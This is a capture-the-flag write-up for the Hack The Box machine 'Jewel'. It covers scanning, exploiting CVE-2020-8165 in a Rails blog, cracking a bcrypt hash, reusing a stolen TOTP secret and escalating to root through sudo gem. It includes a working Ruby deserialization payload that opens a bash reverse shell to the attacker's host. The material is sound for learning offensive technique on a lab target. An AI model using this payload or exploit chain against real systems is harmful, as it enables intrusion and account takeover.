Writeup author : Hicham Terkiba (@IOBreaker)
I started doing some recons with rustscan to speed up the process
$ sudo rustscan jewel.htb --ulimit 5000 -- -O -A -sC -sV --script vuln
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
[--- REDACTED ---]
Open 10.129.13.163:22
Open 10.129.13.163:8000
Open 10.129.13.163:8080
[~] Starting Nmap
[>] The Nmap command to be run is nmap -O -A -sC -sV --script vuln -vvv -p 22,8000,8080 10.129.13.163
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-14 12:13 EDT
Scanning 10.129.13.163 [4 ports]
Completed Ping Scan at 12:13, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:13
Scanning jewel.htb (10.129.13.163) [3 ports]
Discovered open port 22/tcp on 10.129.13.163
Discovered open port 8080/tcp on 10.129.13.163
Discovered open port 8000/tcp on 10.129.13.163
[--- REDACTED ---]
Scanned at 2020-10-14 12:13:16 EDT for 126s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8000/tcp open http syn-ack ttl 63 Apache httpd 2.4.38
|
| Path: http://jewel.htb:8000/gitweb/
| Form id:
| Form action: /gitweb/
|
[--- REDACTED ---]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 23.12 ms 10.10.14.1
2 23.20 ms jewel.htb (10.129.13.163)
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.18 seconds
Raw packets sent: 85 (7.328KB) | Rcvd: 34 (2.176KB)
I got some useful information
- Open 10.129.13.163:22
- Open 10.129.13.163:8000
- http://jewel.htb:8000/gitweb/
- Open 10.129.13.163:8080
- http://jewel.htb:8080
I fired up a web browser to see what it looks like :
- Robots.txt

- The blog


From the blog i built a list of two potential usernames
user : jennifer
user : bill
The second site behind the reverse proxy was a git-scm one

Only one project available BL0G!
project

After some exploration i founded some hashed passwords in the file bd.sql

Using hashID
or some online hash identifier site I confirmed that the hash is a bcrypt
one

So I tried to see if those hashes can be cracked


I tested many wordlists but i end up thinking that those hashes was Rabbit Hole
I decided to download the hole app and analyse it on premise


$ 7z e git-5d6f436.tar
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-4850HQ CPU @ 2.30GHz (40661),ASM,AES-NI)
Scanning the drive for archives:
1 file, 4618240 bytes (4510 KiB)
Extracting archive: git-5d6f436.tar
--
Path = git-5d6f436.tar
Type = tar
Physical Size = 4618240
Headers Size = 98816
Code Page = UTF-8
Everything is Ok
Folders: 48
Files: 135
Size: 4486966
Compressed: 4618240
Because it’s a a ruby app, i used bundle-audit to see if i can find any interesting vulns i can exploit

I start reading documentations about each vulnerability and tried to find if it will applies to BL0GS blog
I was very interested in this one because i founded that the vulnerability explained in this CVE is in the app code
Name: activesupport
Version: 5.2.2.1
Advisory: CVE-2020-8165
Criticality: Unknown
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/bv6fW4S0Y1c
Title: Potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore
Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1
In the user_controller.rb file


I founded this article CVE-2020-8165 showing the exploitation of this vuln in direct live (using a gif 🙂 )
Because the vulnerability was in the update function, I the used registration form to create an account

After having my account, i started working around a script that allow me to generate a payload in order to get a reverse shell
Based on what i saw in the CVE-2020-8165 i developed a small script to get the job done
#!/usr/bin/ruby
require "erb"
require 'uri'
require 'active_support'
code = '`/bin/bash -i >& /dev/tcp/10.10.14.20/4499 0>&1`'
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
puts URI.encode_www_form(payload: payload)
After generating the payload i pushed it using burp

To do that I displayed the profil update form

started burp and clicked on Update User

Next step was to replace the user name with the payload and send it 3 or 4 times (as indicated in the CVE)




After that, i used nc
to listen to an incoming connexion and refreshed the web page

I got the reverse shell

bill@jewel:~/blog$ pwd
pwd
/home/bill/blog
bill@jewel:~/blog$ cd ..
cd ..
bill@jewel:~$ ls
ls
blog
user.txt
bill@jewel:~$ cat user.txt
cat user.txt
b*************************b
After having the user flag, i started looking for the root flag.
I uploaded linpeas
into the box and start analysing it’s recon results




I discovered (thanks to linpeas) a backup directory that contains an sql dump file
After displaying it’s content, i founded a new hash for user bill
COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;
2 jennifer jennifer@mail.htb 2020-08-27 05:44:28.551735 2020-08-27 05:44:28.551735 $********************************O
1 bill bill@mail.htb 2020-08-26 10:24:03.878232 2020-08-27 09:18:11.636483 $2*****************************W <=== New hash
I decided see if i can crack it this time
$ ./john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
and yes 🙂

I tested this brand new discovered password

The password was correct but i got an other level of security asking me for a verification code !!

I noticed that in bill’s directory i had a file named .google_authetificator, I decided to display it’s content and see if i can found some useful information
$ cat .google_authenticator
2U***************H4
" WINDOW_SIZE 17
" TOTP_AUTH
I supposed that the long key in this file can be the shared key used to get the one time password, so i decided to deploy the python authenticator lib on my machine and use it to generate the verification code


But before generating the code, I changed my local date and time to be the the same as the box, it’s mandatory when using authenticators
$ sudo timedatectl set-time "2020-10-18 13:11:28"

I added a new account named google:jewel to the authenticator using the previous shared key

and tested if now i can got the access

Arf, I did not succeed to get the access to the machine, so i start looking is anything is wrong and found that timezone was not correct

$ timedatectl set-timezone Europe/London
$ timedatectl
Local time: Sun 2020-10-18 18:26:39 BST
Universal time: Sun 2020-10-18 17:26:39 UTC
RTC time: Sun 2020-10-18 17:27:13
Time zone: Europe/London (BST, +0100)
System clock synchronized: no
NTP service: n/a
RTC in local TZ: no
$ sudo timedatectl set-time "2020-10-18 13:30:00"
After changing the timezone to Europe/London I tried one more time

Youpi, I was able now to see that our user can execute /usr/bin/gem
Immediately, i searched for a privEsc using gem coupled with sudo and for this, GTFOBins is the place to go

I tested the privEsc


And i got the root flag
Enjoy 😉